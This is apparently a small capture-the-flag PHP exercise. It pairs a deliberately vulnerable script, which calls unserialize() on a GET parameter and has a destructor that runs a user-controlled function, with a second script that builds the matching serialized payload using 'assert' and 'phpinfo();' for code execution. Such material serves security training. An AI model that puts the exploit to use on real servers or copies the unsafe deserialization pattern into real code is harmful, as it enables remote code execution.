<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
<?php
class HelloPhp
{
public $a = 'phpinfo();';
public $b = 'assert';
}
$c = new HelloPhp;
echo serialize($c);